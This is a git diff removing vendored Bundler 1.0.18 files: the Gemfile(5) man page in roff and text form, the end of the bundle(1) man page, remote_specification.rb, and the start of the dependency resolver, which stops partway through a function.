-	      Generate a visual representation of  your  dependencies  <<<<<<<
-	      HEAD
-
-       bundle benchmark(1):
-
-
-       bundle init(1)
-	      Generate a simple Gemfile, placed in the current directory
-
-       bundle gem(1)
-	      Create a simple gem, suitable for development with bundler
-
-OBSOLETE
-       These commands are obsolete and should no longer be used
-
-       o   bundle lock(1)
-
-       o   bundle unlock(1)
-
-       o   bundle cache(1)
-
-
-
-
-
-
-				   July 2011			     BUNDLE(1)
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/gemfile.5 b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/gemfile.5
deleted file mode 100644
index ab17a676..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/gemfile.5
+++ /dev/null
@@ -1,368 +0,0 @@
-.\" generated with Ronn/v0.7.3
-.\" http://github.com/rtomayko/ronn/tree/0.7.3
-.
-.TH "GEMFILE" "5" "July 2011" "" ""
-.
-.SH "NAME"
-\fBGemfile\fR \- A format for describing gem dependencies for Ruby programs
-.
-.SH "SYNOPSIS"
-A \fBGemfile\fR describes the gem dependencies required to execute associated Ruby code\.
-.
-.P
-Place the \fBGemfile\fR in the root of the directory containing the associated code\. For instance, in a Rails application, place the \fBGemfile\fR in the same directory as the \fBRakefile\fR\.
-.
-.SH "SYNTAX"
-A \fBGemfile\fR is evaluated as Ruby code, in a context which makes available a number of methods used to describe the gem requirements\.
-.
-.SH "SOURCES (#source)"
-At the top of the \fBGemfile\fR, add one line for each \fBRubygems\fR source that might contain the gems listed in the \fBGemfile\fR\.
-.
-.IP "" 4
-.
-.nf
-
-source "http://rubygems\.org"
-source "http://gems\.github\.com"
-.
-.fi
-.
-.IP "" 0
-.
-.P
-Each of these _source_s \fBMUST\fR be a valid Rubygems repository\.
-.
-.SH "GEMS (#gem)"
-Specify gem requirements using the \fBgem\fR method, with the following arguments\. All parameters are \fBOPTIONAL\fR unless otherwise specified\.
-.
-.SS "NAME (required)"
-For each gem requirement, list a single \fIgem\fR line\.
-.
-.IP "" 4
-.
-.nf
-
-gem "nokogiri"
-.
-.fi
-.
-.IP "" 0
-.
-.SS "VERSION"
-Each \fIgem\fR \fBMAY\fR have one or more version specifiers\.
-.
-.IP "" 4
-.
-.nf
-
-gem "nokogiri", ">= 1\.4\.2"
-gem "RedCloth", ">= 4\.1\.0", "< 4\.2\.0"
-.
-.fi
-.
-.IP "" 0
-.
-.SS "REQUIRE AS (:require)"
-Each \fIgem\fR \fBMAY\fR specify its main file, which should be used when autorequiring (\fBBundler\.require\fR)\.
-.
-.IP "" 4
-.
-.nf
-
-gem "sqlite3\-ruby", :require => "sqlite3"
-.
-.fi
-.
-.IP "" 0
-.
-.P
-This defaults to the name of the gem itself\. For instance, these are identical:
-.
-.IP "" 4
-.
-.nf
-
-gem "nokogiri"
-gem "nokogiri", :require => "nokogiri"
-.
-.fi
-.
-.IP "" 0
-.
-.SS "GROUPS (:group or :groups)"
-Each \fIgem\fR \fBMAY\fR specify membership in one or more groups\. Any \fIgem\fR that does not specify membership in any group is placed in the \fBdefault\fR group\.
-.
-.IP "" 4
-.
-.nf
-
-gem "rspec", :group => :test
-gem "wirble", :groups => [:development, :test]
-.
-.fi
-.
-.IP "" 0
-.
-.P
-The Bundler runtime allows its two main methods, \fBBundler\.setup\fR and \fBBundler\.require\fR, to limit their impact to particular groups\.
-.
-.IP "" 4
-.
-.nf
-
-# setup adds gems to Ruby\'s load path
-Bundler\.setup                    # defaults to all groups
-require "bundler/setup"          # same as Bundler\.setup
-Bundler\.setup(:default)          # only set up the _default_ group
-Bundler\.setup(:test)             # only set up the _test_ group (but `not` _default_)
-Bundler\.setup(:default, :test)   # set up the _default_ and _test_ groups, but no others
-
-# require requires all of the gems in the specified groups
-Bundler\.require                  # defaults to just the _default_ group
-Bundler\.require(:default)        # identical
-Bundler\.require(:default, :test) # requires the _default_ and _test_ groups
-Bundler\.require(:test)           # requires just the _test_ group
-.
-.fi
-.
-.IP "" 0
-.
-.P
-The Bundler CLI allows you to specify a list of groups whose gems \fBbundle install\fR should not install with the \fB\-\-without\fR option\. To specify multiple groups to ignore, specify a list of groups separated by spaces\.
-.
-.IP "" 4
-.
-.nf
-
-bundle install \-\-without test
-bundle install \-\-without development test
-.
-.fi
-.
-.IP "" 0
-.
-.P
-After running \fBbundle install \-\-without test\fR, bundler will remember that you excluded the test group in the last installation\. The next time you run \fBbundle install\fR, without any \fB\-\-without option\fR, bundler will recall it\.
-.
-.P
-Also, calling \fBBundler\.setup\fR with no parameters, or calling \fBrequire "bundler/setup"\fR will setup all groups except for the ones you excluded via \fB\-\-without\fR (since they are obviously not available)\.
-.
-.P
-Note that on \fBbundle install\fR, bundler downloads and evaluates all gems, in order to create a single canonical list of all of the required gems and their dependencies\. This means that you cannot list different versions of the same gems in different groups\. For more details, see Understanding Bundler \fIhttp://gembundler\.com/rationale\.html\fR\.
-.
-.SS "PLATFORMS (:platforms)"
-If a gem should only be used in a particular platform or set of platforms, you can specify them\. Platforms are essentially identical to groups, except that you do not need to use the \fB\-\-without\fR install\-time flag to exclude groups of gems for other platforms\.
-.
-.P
-There are a number of \fBGemfile\fR platforms:
-.
-.TP
-\fBruby\fR
-C Ruby (MRI) or Rubinius, but \fBNOT\fR Windows
-.
-.TP
-\fBruby_18\fR
-\fIruby\fR \fBAND\fR version 1\.8
-.
-.TP
-\fBruby_19\fR
-\fIruby\fR \fBAND\fR version 1\.9
-.
-.TP
-\fBmri\fR
-Same as \fIruby\fR, but not Rubinius
-.
-.TP
-\fBmri_18\fR
-\fImri\fR \fBAND\fR version 1\.8
-.
-.TP
-\fBmri_19\fR
-\fImri\fR \fBAND\fR version 1\.9
-.
-.TP
-\fBrbx\fR
-Same as \fIruby\fR, but only Rubinius (not MRI)
-.
-.TP
-\fBjruby\fR
-JRuby
-.
-.TP
-\fBmswin\fR
-Windows
-.
-.TP
-\fBmingw\fR
-Windows \'mingw32\' platform (aka RubyInstaller)
-.
-.TP
-\fBmingw_18\fR
-\fImingw\fR \fBAND\fR version 1\.8
-.
-.TP
-\fBmingw_19\fR
-\fImingw\fR \fBAND\fR version 1\.9
-.
-.P
-As with groups, you can specify one or more platforms:
-.
-.IP "" 4
-.
-.nf
-
-gem "weakling",   :platforms => :jruby
-gem "ruby\-debug", :platforms => :mri_18
-gem "nokogiri",   :platforms => [:mri_18, :jruby]
-.
-.fi
-.
-.IP "" 0
-.
-.P
-All operations involving groups (\fBbundle install\fR, \fBBundler\.setup\fR, \fBBundler\.require\fR) behave exactly the same as if any groups not matching the current platform were explicitly excluded\.
-.
-.SS "GIT (:git)"
-If necessary, you can specify that a gem is located at a particular git repository\. The repository can be public (\fBhttp://github\.com/rails/rails\.git\fR) or private (\fBgit@github\.com:rails/rails\.git\fR)\. If the repository is private, the user that you use to run \fBbundle install\fR \fBMUST\fR have the appropriate keys available in their \fB$HOME/\.ssh\fR\.
-.
-.P
-Git repositories are specified using the \fB:git\fR parameter\. The \fBgroup\fR, \fBplatforms\fR, and \fBrequire\fR options are available and behave exactly the same as they would for a normal gem\.
-.
-.IP "" 4
-.
-.nf
-
-gem "rails", :git => "git://github\.com/rails/rails\.git"
-.
-.fi
-.
-.IP "" 0
-.
-.P
-A git repository \fBSHOULD\fR have at least one file, at the root of the directory containing the gem, with the extension \fB\.gemspec\fR\. This file \fBMUST\fR contain a valid gem specification, as expected by the \fBgem build\fR command\. It \fBMUST NOT\fR have any dependencies, other than on the files in the git repository itself and any built\-in functionality of Ruby or Rubygems\.
-.
-.P
-If a git repository does not have a \fB\.gemspec\fR, bundler will attempt to create one, but it will not contain any dependencies, executables, or C extension compilation instructions\. As a result, it may fail to properly integrate into your application\.
-.
-.P
-If a git repository does have a \fB\.gemspec\fR for the gem you attached it to, a version specifier, if provided, means that the git repository is only valid if the \fB\.gemspec\fR specifies a version matching the version specifier\. If not, bundler will print a warning\.
-.
-.IP "" 4
-.
-.nf
-
-gem "rails", "2\.3\.8", :git => "git://github\.com/rails/rails\.git"
-# bundle install will fail, because the \.gemspec in the rails
-# repository\'s master branch specifies version 3\.0\.0
-.
-.fi
-.
-.IP "" 0
-.
-.P
-If a git repository does \fBnot\fR have a \fB\.gemspec\fR for the gem you attached it to, a version specifier \fBMUST\fR be provided\. Bundler will use this version in the simple \fB\.gemspec\fR it creates\.
-.
-.P
-Git repositories support a number of additional options\.
-.
-.TP
-\fBbranch\fR, \fBtag\fR, and \fBref\fR
-You \fBMUST\fR only specify at most one of these options\. The default is \fB:branch => "master"\fR
-.
-.TP
-\fBsubmodules\fR
-Specify \fB:submodules => true\fR to cause bundler to expand any submodules included in the git repository
-.
-.P
-If a git repository contains multiple \fB\.gemspecs\fR, each \fB\.gemspec\fR represents a gem located at the same place in the file system as the \fB\.gemspec\fR\.
-.
-.IP "" 4
-.
-.nf
-
-|~rails                   [git root]
-| |\-rails\.gemspec         [rails gem located here]
-|~actionpack
-| |\-actionpack\.gemspec    [actionpack gem located here]
-|~activesupport
-| |\-activesupport\.gemspec [activesupport gem located here]
-\.\.\.
-.
-.fi
-.
-.IP "" 0
-.
-.P
-To install a gem located in a git repository, bundler changes to the directory containing the gemspec, runs \fBgem build name\.gemspec\fR and then installs the resulting gem\. The \fBgem build\fR command, which comes standard with Rubygems, evaluates the \fB\.gemspec\fR in the context of the directory in which it is located\.
-.
-.SS "PATH (:path)"
-You can specify that a gem is located in a particular location on the file system\. Relative paths are resolved relative to the directory containing the \fBGemfile\fR\.
-.
-.P
-Similar to the semantics of the \fB:git\fR option, the \fB:path\fR option requires that the directory in question either contains a \fB\.gemspec\fR for the gem, or that you specify an explicit version that bundler should use\.
-.
-.P
-Unlike \fB:git\fR, bundler does not compile C extensions for gems specified as paths\.
-.
-.IP "" 4
-.
-.nf
-
-gem "rails", :path => "vendor/rails"
-.
-.fi
-.
-.IP "" 0
-.
-.SH "BLOCK FORM OF GIT, PATH, GROUP and PLATFORMS"
-The \fB:git\fR, \fB:path\fR, \fB:group\fR, and \fB:platforms\fR options may be applied to a group of gems by using block form\.
-.
-.IP "" 4
-.
-.nf
-
-git "git://github\.com/rails/rails\.git" do
-  gem "activesupport"
-  gem "actionpack"
-end
-
-platforms :ruby do
-  gem "ruby\-debug"
-  gem "sqlite3\-ruby"
-end
-
-group :development do
-  gem "wirble"
-  gem "faker"
-end
-.
-.fi
-.
-.IP "" 0
-.
-.P
-In the case of the \fBgit\fR block form, the \fB:ref\fR, \fB:branch\fR, \fB:tag\fR, and \fB:submodules\fR options may be passed to the \fBgit\fR method, and all gems in the block will inherit those options\.
-.
-.SH "GEMSPEC (#gemspec)"
-If you wish to use Bundler to help install dependencies for a gem while it is being developed, use the \fBgemspec\fR method to pull in the dependencies listed in the \fB\.gemspec\fR file\.
-.
-.P
-The \fBgemspec\fR method adds any runtime dependencies as gem requirements in the default group\. It also adds development dependencies as gem requirements in the \fBdevelopment\fR group\. Finally, it adds a gem requirement on your project (\fB:path => \'\.\'\fR)\. In conjunction with \fBBundler\.setup\fR, this allows you to require project files in your test code as you would if the project were installed as a gem; you need not manipulate the load path manually or require project files via relative paths\.
-.
-.P
-The \fBgemspec\fR method supports optional \fB:path\fR, \fB:name\fR, and \fB:development_group\fR options, which control where bundler looks for the \fB\.gemspec\fR, what named \fB\.gemspec\fR it uses (if more than one is present), and which group development dependencies are included in\.
-.
-.SH "SOURCE PRIORITY"
-When attempting to locate a gem to satisfy a gem requirement, bundler uses the following priority order:
-.
-.IP "1." 4
-The source explicitly attached to the gem (using \fB:path\fR or \fB:git\fR)
-.
-.IP "2." 4
-For implicit gems (dependencies of explicit gems), any git or path repository otherwise declared\. This results in bundler prioritizing the ActiveSupport gem from the Rails git repository over ones from \fBrubygems\.org\fR
-.
-.IP "3." 4
-The sources specified via \fBsource\fR, in the order in which they were declared in the \fBGemfile\fR\.
-.
-.IP "" 0
-
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/gemfile.5.txt b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/gemfile.5.txt
deleted file mode 100644
index bcee78cb..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/gemfile.5.txt
+++ /dev/null
@@ -1,345 +0,0 @@
-GEMFILE(5)							    GEMFILE(5)
-
-
-
-NAME
-       Gemfile - A format for describing gem dependencies for Ruby programs
-
-SYNOPSIS
-       A Gemfile describes the gem dependencies required to execute associated
-       Ruby code.
-
-       Place the Gemfile in the root of the directory containing  the  associ-
-       ated  code.  For instance, in a Rails application, place the Gemfile in
-       the same directory as the Rakefile.
-
-SYNTAX
-       A Gemfile is evaluated as Ruby code, in a context which makes available
-       a number of methods used to describe the gem requirements.
-
-SOURCES (#source)
-       At  the	top of the Gemfile, add one line for each Rubygems source that
-       might contain the gems listed in the Gemfile.
-
-
-
-	   source "http://rubygems.org"
-	   source "http://gems.github.com"
-
-
-
-       Each of these _source_s MUST be a valid Rubygems repository.
-
-GEMS (#gem)
-       Specify gem requirements using the gem method, with the following argu-
-       ments. All parameters are OPTIONAL unless otherwise specified.
-
-   NAME (required)
-       For each gem requirement, list a single gem line.
-
-
-
-	   gem "nokogiri"
-
-
-
-   VERSION
-       Each gem MAY have one or more version specifiers.
-
-
-
-	   gem "nokogiri", ">= 1.4.2"
-	   gem "RedCloth", ">= 4.1.0", "< 4.2.0"
-
-
-
-   REQUIRE AS (:require)
-       Each  gem  MAY specify its main file, which should be used when autore-
-       quiring (Bundler.require).
-
-
-
-	   gem "sqlite3-ruby", :require => "sqlite3"
-
-
-
-       This defaults to the name of the gem itself. For  instance,  these  are
-       identical:
-
-
-
-	   gem "nokogiri"
-	   gem "nokogiri", :require => "nokogiri"
-
-
-
-   GROUPS (:group or :groups)
-       Each  gem  MAY  specify	membership in one or more groups. Any gem that
-       does not specify membership in any  group  is  placed  in  the  default
-       group.
-
-
-
-	   gem "rspec", :group => :test
-	   gem "wirble", :groups => [:development, :test]
-
-
-
-       The  Bundler  runtime  allows  its  two main methods, Bundler.setup and
-       Bundler.require, to limit their impact to particular groups.
-
-
-
-	   # setup adds gems to Ruby's load path
-	   Bundler.setup		    # defaults to all groups
-	   require "bundler/setup"	    # same as Bundler.setup
-	   Bundler.setup(:default)	    # only set up the _default_ group
-	   Bundler.setup(:test) 	    # only set up the _test_ group (but `not` _default_)
-	   Bundler.setup(:default, :test)   # set up the _default_ and _test_ groups, but no others
-
-	   # require requires all of the gems in the specified groups
-	   Bundler.require		    # defaults to just the _default_ group
-	   Bundler.require(:default)	    # identical
-	   Bundler.require(:default, :test) # requires the _default_ and _test_ groups
-	   Bundler.require(:test)	    # requires just the _test_ group
-
-
-
-       The Bundler CLI allows you to specify a list of groups whose gems  bun-
-       dle  install  should  not install with the --without option. To specify
-       multiple groups to ignore, specify a list of groups separated  by  spa-
-       ces.
-
-
-
-	   bundle install --without test
-	   bundle install --without development test
-
-
-
-       After running bundle install --without test, bundler will remember that
-       you excluded the test group in the last installation. The next time you
-       run  bundle  install, without any --without option, bundler will recall
-       it.
-
-       Also, calling Bundler.setup with  no  parameters,  or  calling  require
-       "bundler/setup"	will setup all groups except for the ones you excluded
-       via --without (since they are obviously not available).
-
-       Note that on bundle install, bundler downloads and evaluates all  gems,
-       in  order to create a single canonical list of all of the required gems
-       and their dependencies. This means that you cannot list different  ver-
-       sions  of  the  same  gems  in  different groups. For more details, see
-       Understanding Bundler http://gembundler.com/rationale.html.
-
-   PLATFORMS (:platforms)
-       If a gem should only be used in a particular platform or set  of  plat-
-       forms,  you  can  specify  them. Platforms are essentially identical to
-       groups, except that you do not need to use the  --without  install-time
-       flag to exclude groups of gems for other platforms.
-
-       There are a number of Gemfile platforms:
-
-       ruby   C Ruby (MRI) or Rubinius, but NOT Windows
-
-       ruby_18
-	      ruby AND version 1.8
-
-       ruby_19
-	      ruby AND version 1.9
-
-       mri    Same as ruby, but not Rubinius
-
-       mri_18 mri AND version 1.8
-
-       mri_19 mri AND version 1.9
-
-       rbx    Same as ruby, but only Rubinius (not MRI)
-
-       jruby  JRuby
-
-       mswin  Windows
-
-       mingw  Windows 'mingw32' platform (aka RubyInstaller)
-
-       mingw_18
-	      mingw AND version 1.8
-
-       mingw_19
-	      mingw AND version 1.9
-
-       As with groups, you can specify one or more platforms:
-
-
-
-	   gem "weakling",   :platforms => :jruby
-	   gem "ruby-debug", :platforms => :mri_18
-	   gem "nokogiri",   :platforms => [:mri_18, :jruby]
-
-
-
-       All   operations   involving  groups  (bundle  install,	Bundler.setup,
-       Bundler.require) behave exactly the same as if any groups not  matching
-       the current platform were explicitly excluded.
-
-   GIT (:git)
-       If necessary, you can specify that a gem is located at a particular git
-       repository.	 The	   repository	    can       be	public
-       (http://github.com/rails/rails.git)		or	       private
-       (git@github.com:rails/rails.git). If the  repository  is  private,  the
-       user  that you use to run bundle install MUST have the appropriate keys
-       available in their $HOME/.ssh.
-
-       Git repositories are specified using the  :git  parameter.  The	group,
-       platforms,  and	require  options  are available and behave exactly the
-       same as they would for a normal gem.
-
-
-
-	   gem "rails", :git => "git://github.com/rails/rails.git"
-
-
-
-       A git repository SHOULD have at least one file,	at  the  root  of  the
-       directory  containing  the  gem, with the extension .gemspec. This file
-       MUST contain a valid gem specification, as expected by  the  gem  build
-       command.  It MUST NOT have any dependencies, other than on the files in
-       the git repository itself and any built-in  functionality  of  Ruby  or
-       Rubygems.
-
-       If  a  git repository does not have a .gemspec, bundler will attempt to
-       create one, but it will not contain any dependencies, executables, or C
-       extension  compilation  instructions. As a result, it may fail to prop-
-       erly integrate into your application.
-
-       If a git repository does have a .gemspec for the gem  you  attached  it
-       to,  a version specifier, if provided, means that the git repository is
-       only valid if the .gemspec specifies a  version	matching  the  version
-       specifier. If not, bundler will print a warning.
-
-
-
-	   gem "rails", "2.3.8", :git => "git://github.com/rails/rails.git"
-	   # bundle install will fail, because the .gemspec in the rails
-	   # repository's master branch specifies version 3.0.0
-
-
-
-       If  a  git repository does not have a .gemspec for the gem you attached
-       it to, a version specifier MUST be provided. Bundler will use this ver-
-       sion in the simple .gemspec it creates.
-
-       Git repositories support a number of additional options.
-
-       branch, tag, and ref
-	      You  MUST only specify at most one of these options. The default
-	      is :branch => "master"
-
-       submodules
-	      Specify :submodules => true to cause bundler to expand any  sub-
-	      modules included in the git repository
-
-       If  a  git repository contains multiple .gemspecs, each .gemspec repre-
-       sents a gem located at the same place in the file system as  the  .gem-
-       spec.
-
-
-
-	   |~rails		     [git root]
-	   | |-rails.gemspec	     [rails gem located here]
-	   |~actionpack
-	   | |-actionpack.gemspec    [actionpack gem located here]
-	   |~activesupport
-	   | |-activesupport.gemspec [activesupport gem located here]
-
-
-
-       To  install  a  gem located in a git repository, bundler changes to the
-       directory containing the gemspec, runs gem build name.gemspec and  then
-       installs the resulting gem. The gem build command, which comes standard
-       with Rubygems, evaluates the .gemspec in the context of	the  directory
-       in which it is located.
-
-   PATH (:path)
-       You  can  specify that a gem is located in a particular location on the
-       file system. Relative paths are resolved relative to the directory con-
-       taining the Gemfile.
-
-       Similar	to the semantics of the :git option, the :path option requires
-       that the directory in question either contains a .gemspec for the  gem,
-       or that you specify an explicit version that bundler should use.
-
-       Unlike  :git,  bundler does not compile C extensions for gems specified
-       as paths.
-
-
-
-	   gem "rails", :path => "vendor/rails"
-
-
-
-BLOCK FORM OF GIT, PATH, GROUP and PLATFORMS
-       The :git, :path, :group, and :platforms options may  be	applied  to  a
-       group of gems by using block form.
-
-
-
-	   git "git://github.com/rails/rails.git" do
-	     gem "activesupport"
-	     gem "actionpack"
-	   end
-
-	   platforms :ruby do
-	     gem "ruby-debug"
-	     gem "sqlite3-ruby"
-	   end
-
-	   group :development do
-	     gem "wirble"
-	     gem "faker"
-	   end
-
-
-
-       In  the	case of the git block form, the :ref, :branch, :tag, and :sub-
-       modules options may be passed to the git method, and all  gems  in  the
-       block will inherit those options.
-
-GEMSPEC (#gemspec)
-       If you wish to use Bundler to help install dependencies for a gem while
-       it is being developed, use the gemspec method to pull in the  dependen-
-       cies listed in the .gemspec file.
-
-       The gemspec method adds any runtime dependencies as gem requirements in
-       the default  group.  It	also  adds  development  dependencies  as  gem
-       requirements  in the development group. Finally, it adds a gem require-
-       ment on your project (:path => '.'). In conjunction with Bundler.setup,
-       this allows you to require project files in your test code as you would
-       if the project were installed as a gem; you  need  not  manipulate  the
-       load path manually or require project files via relative paths.
-
-       The  gemspec  method  supports  optional  :path,  :name,  and :develop-
-       ment_group options, which control where bundler looks for the .gemspec,
-       what  named  .gemspec  it uses (if more than one is present), and which
-       group development dependencies are included in.
-
-SOURCE PRIORITY
-       When attempting to locate a gem to satisfy a gem  requirement,  bundler
-       uses the following priority order:
-
-       1.  The source explicitly attached to the gem (using :path or :git)
-
-       2.  For	implicit gems (dependencies of explicit gems), any git or path
-	   repository otherwise declared. This results in bundler prioritizing
-	   the	ActiveSupport gem from the Rails git repository over ones from
-	   rubygems.org
-
-       3.  The sources specified via source, in the order in which  they  were
-	   declared in the Gemfile.
-
-
-
-
-
-
-				   July 2011			    GEMFILE(5)
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/remote_specification.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/remote_specification.rb
deleted file mode 100644
index 3851014c..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/remote_specification.rb
+++ /dev/null
@@ -1,59 +0,0 @@
-require "uri"
-require "rubygems/spec_fetcher"
-
-module Bundler
-  # Represents a lazily loaded gem specification, where the full specification
-  # is on the source server in rubygems' "quick" index. The proxy object is to
-  # be seeded with what we're given from the source's abbreviated index - the
-  # full specification will only be fetched when necesary.
-  class RemoteSpecification
-    include MatchPlatform
-
-    attr_reader :name, :version, :platform
-    attr_accessor :source
-
-    def initialize(name, version, platform, source_uri)
-      @name     = name
-      @version  = version
-      @platform = platform
-      @source_uri = source_uri
-    end
-
-    # Needed before installs, since the arch matters then and quick
-    # specs don't bother to include the arch in the platform string
-    def fetch_platform
-      @platform = _remote_specification.platform
-    end
-
-    def full_name
-      if platform == Gem::Platform::RUBY or platform.nil? then
-        "#{@name}-#{@version}"
-      else
-        "#{@name}-#{@version}-#{platform}"
-      end
-    end
-
-    # Because Rubyforge cannot be trusted to provide valid specifications
-    # once the remote gem is downloaded, the backend specification will
-    # be swapped out.
-    def __swap__(spec)
-      @specification = spec
-    end
-
-  private
-
-    def _remote_specification
-      @specification ||= begin
-        Gem::SpecFetcher.new.fetch_spec([@name, @version, @platform], URI(@source_uri.to_s))
-      end
-    end
-
-    def method_missing(method, *args, &blk)
-      if Gem::Specification.new.respond_to?(method)
-        _remote_specification.send(method, *args, &blk)
-      else
-        super
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/resolver.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/resolver.rb
deleted file mode 100644
index 45519a73..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/resolver.rb
+++ /dev/null
@@ -1,464 +0,0 @@
-require 'set'
-# This is the latest iteration of the gem dependency resolving algorithm. As of now,
-# it can resolve (as a success or failure) any set of gem dependencies we throw at it
-# in a reasonable amount of time. The most iterations I've seen it take is about 150.
-# The actual implementation of the algorithm is not as good as it could be yet, but that
-# can come later.
-
-# Extending Gem classes to add necessary tracking information
-module Gem
-  class Specification
-    def required_by
-      @required_by ||= []
-    end
-  end
-  class Dependency
-    def required_by
-      @required_by ||= []
-    end
-  end
-end
-
-module Bundler
-  class Resolver
-    ALL = Bundler::Dependency::PLATFORM_MAP.values.uniq.freeze
-
-    class SpecGroup < Array
-      include GemHelpers
-
-      attr_reader :activated, :required_by
-
-      def initialize(a)
-        super
-        @required_by  = []
-        @activated    = []
-        @dependencies = nil
-        @specs        = {}
-
-        ALL.each do |p|
-          @specs[p] = reverse.find { |s| s.match_platform(p) }
-        end
-      end
-
-      def initialize_copy(o)
-        super
-        @required_by = o.required_by.dup
-        @activated   = o.activated.dup
-      end
-
-      def to_specs
-        specs = {}
-
-        @activated.each do |p|
-          if s = @specs[p]
-            platform = generic(Gem::Platform.new(s.platform))
-            next if specs[platform]
-
-            lazy_spec = LazySpecification.new(name, version, platform, source)
-            lazy_spec.dependencies.replace s.dependencies
-            specs[platform] = lazy_spec
-          end
-        end
-        specs.values
-      end
-
-      def activate_platform(platform)
-        unless @activated.include?(platform)
-          @activated << platform
-          return __dependencies[platform] || []
-        end
-        []
-      end
-
-      def name
-        @name ||= first.name
-      end
-
-      def version
-        @version ||= first.version
-      end
-
-      def source
-        @source ||= first.source
-      end
-
-      def for?(platform)
-        @specs[platform]
-      end
-
-      def to_s
-        "#{name} (#{version})"
-      end
-
-    private
-
-      def __dependencies
-        @dependencies ||= begin
-          dependencies = {}
-          ALL.each do |p|
-            if spec = @specs[p]
-              dependencies[p] = []
-              spec.dependencies.each do |dep|
-                next if dep.type == :development
-                dependencies[p] << DepProxy.new(dep, p)
-              end
-            end
-          end
-          dependencies
-        end
-      end
-    end
-
-    attr_reader :errors
-
-    # Figures out the best possible configuration of gems that satisfies
-    # the list of passed dependencies and any child dependencies without
-    # causing any gem activation errors.
-    #
-    # ==== Parameters
-    # *dependencies<Gem::Dependency>:: The list of dependencies to resolve
-    #
-    # ==== Returns
-    # <GemBundle>,nil:: If the list of dependencies can be resolved, a
-    #   collection of gemspecs is returned. Otherwise, nil is returned.
-    def self.resolve(requirements, index, source_requirements = {}, base = [])
-      base = SpecSet.new(base) unless base.is_a?(SpecSet)
-      resolver = new(index, source_requirements, base)
-      result = catch(:success) do
-        resolver.start(requirements)
-        raise resolver.version_conflict
-        nil
-      end
-      SpecSet.new(result)
-    end
-
-    def initialize(index, source_requirements, base)
-      @errors               = {}
-      @stack                = []
-      @base                 = base
-      @index                = index
-      @gems_size            = {}
-      @missing_gems         = Hash.new(0)
-      @source_requirements  = source_requirements
-    end
-
-    def debug
-      if ENV['DEBUG_RESOLVER']
-        debug_info = yield
-        debug_info = debug_info.inspect unless debug_info.is_a?(String)
-        $stderr.puts debug_info
-      end
-    end
-
-    def successify(activated)
-      activated.values.map { |s| s.to_specs }.flatten.compact
-    end
-
-    def start(reqs)
-      activated = {}
-
-      resolve(reqs, activated)
-    end
-
-    def resolve(reqs, activated)
-      # If the requirements are empty, then we are in a success state. Aka, all
-      # gem dependencies have been resolved.
-      throw :success, successify(activated) if reqs.empty?
-
-      debug { print "\e[2J\e[f" ; "==== Iterating ====\n\n" }
-
-      # Sort dependencies so that the ones that are easiest to resolve are first.
-      # Easiest to resolve is defined by:
-      #   1) Is this gem already activated?
-      #   2) Do the version requirements include prereleased gems?
-      #   3) Sort by number of gems available in the source.
-      reqs = reqs.sort_by do |a|
-        [ activated[a.name] ? 0 : 1,
-          a.requirement.prerelease? ? 0 : 1,
-          @errors[a.name]   ? 0 : 1,
-          activated[a.name] ? 0 : gems_size(a) ]
-      end
-
-      debug { "Activated:\n" + activated.values.map { |a| "  #{a.name} (#{a.version})" }.join("\n") }
-      debug { "Requirements:\n" + reqs.map { |r| "  #{r.name} (#{r.requirement})"}.join("\n") }
-
-      activated = activated.dup
-
-      # Pull off the first requirement so that we can resolve it
-      current = reqs.shift
-
-      debug { "Attempting:\n  #{current.name} (#{current.requirement})"}
-
-      # Check if the gem has already been activated, if it has, we will make sure
-      # that the currently activated gem satisfies the requirement.
-      existing = activated[current.name]
-      if existing || current.name == 'bundler'
-        # Force the current
-        if current.name == 'bundler' && !existing
-          existing = search(DepProxy.new(Gem::Dependency.new('bundler', VERSION), Gem::Platform::RUBY)).first
-          raise GemNotFound, %Q{Bundler could not find gem "bundler" (#{VERSION})} unless existing
-          existing.required_by << existing
-          activated['bundler'] = existing
-        end
-
-        if current.requirement.satisfied_by?(existing.version)
-          debug { "    * [SUCCESS] Already activated" }
-          @errors.delete(existing.name)
-          # Since the current requirement is satisfied, we can continue resolving
-          # the remaining requirements.
-
-          # I have no idea if this is the right way to do it, but let's see if it works
-          # The current requirement might activate some other platforms, so let's try
-          # adding those requirements here.
-          reqs.concat existing.activate_platform(current.__platform)
-
-          resolve(reqs, activated)
-        else
-          debug { "    * [FAIL] Already activated" }
-          @errors[existing.name] = [existing, current]
-          debug { current.required_by.map {|d| "      * #{d.name} (#{d.requirement})" }.join("\n") }
-          # debug { "    * All current conflicts:\n" + @errors.keys.map { |c| "      - #{c}" }.join("\n") }
-          # Since the current requirement conflicts with an activated gem, we need
-          # to backtrack to the current requirement's parent and try another version
-          # of it (maybe the current requirement won't be present anymore). If the
-          # current requirement is a root level requirement, we need to jump back to
-          # where the conflicting gem was activated.
-          parent = current.required_by.last
-          # `existing` could not respond to required_by if it is part of the base set
-          # of specs that was passed to the resolver (aka, instance of LazySpecification)
-          parent ||= existing.required_by.last if existing.respond_to?(:required_by)
-          # We track the spot where the current gem was activated because we need
-          # to keep a list of every spot a failure happened.
-          if parent && parent.name != 'bundler'
-            debug { "    -> Jumping to: #{parent.name}" }
-            required_by = existing.respond_to?(:required_by) && existing.required_by.last
-            throw parent.name, required_by && required_by.name
-          else
-            # The original set of dependencies conflict with the base set of specs
-            # passed to the resolver. This is by definition an impossible resolve.
-            raise version_conflict
-          end
-        end
-      else
-        # There are no activated gems for the current requirement, so we are going
-        # to find all gems that match the current requirement and try them in decending
-        # order. We also need to keep a set of all conflicts that happen while trying
-        # this gem. This is so that if no versions work, we can figure out the best
-        # place to backtrack to.
-        conflicts = Set.new
-
-        # Fetch all gem versions matching the requirement
-        #
-        # TODO: Warn / error when no matching versions are found.
-        matching_versions = search(current)
-
-        if matching_versions.empty?
-          if current.required_by.empty?
